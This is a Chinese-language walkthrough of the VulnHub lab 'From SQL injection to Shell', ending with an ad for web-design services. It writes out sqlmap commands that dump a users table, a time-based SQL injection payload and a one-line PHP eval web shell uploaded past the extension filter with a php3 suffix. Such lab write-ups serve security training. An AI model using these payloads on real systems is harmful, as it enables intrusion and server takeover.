vulnhub靶场From SQL injection to Shell
2026/6/26 6:42:28 网站建设 项目流程

一、概括

  1. 通过基础潘顿和推测网页存在sql注入漏洞
  2. 验证存在漏洞
  3. 利用sql注入获得数据库中敏感数据,登录到网页管理员页面
  4. 发现存在文件上传漏洞
  5. 利用文件上传漏洞,获取服务器的信息

二、通关过程

  1. nmap获得靶机访问地址

  1. 通过靶机的mac地址和探测结果,得出靶机IP地址

  2. 浏览器访问地址

  1. 首页没有发现什么明显内容,访问其它网页发现存在特殊参数id,五i测存在sql漏洞,这里还发现了登录页面

  1. sqlmap探测漏洞
sqlmap-u"http://192.168.8.155/cat.php?id=1"--batch

  1. 验真是否存在
id=2AND(SELECT5851FROM(SELECT(SLEEP(5)))nqWc)

  1. 页面存在明显的延迟,那就是探测无误,存在sql注入
  2. 获取数据
sqlmap -u "http://192.168.8.155/cat.php?id=1" -D photoblog -T users --dump

  1. 获得用户名密码,登录后台查看信息

  1. 页面存在文件上传,推测存在漏洞

  2. 创建一个文件试试看,写入

<?php eval($_POST['cmd']);?>
  1. 直接上传发现提示,无法上传php文件,那试试php3等文件后缀

  1. 通过访问本页面的其它图片判断图片存放位置

  1. 蚁剑连接测试

  1. 连接成功,访问其它文件即可

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询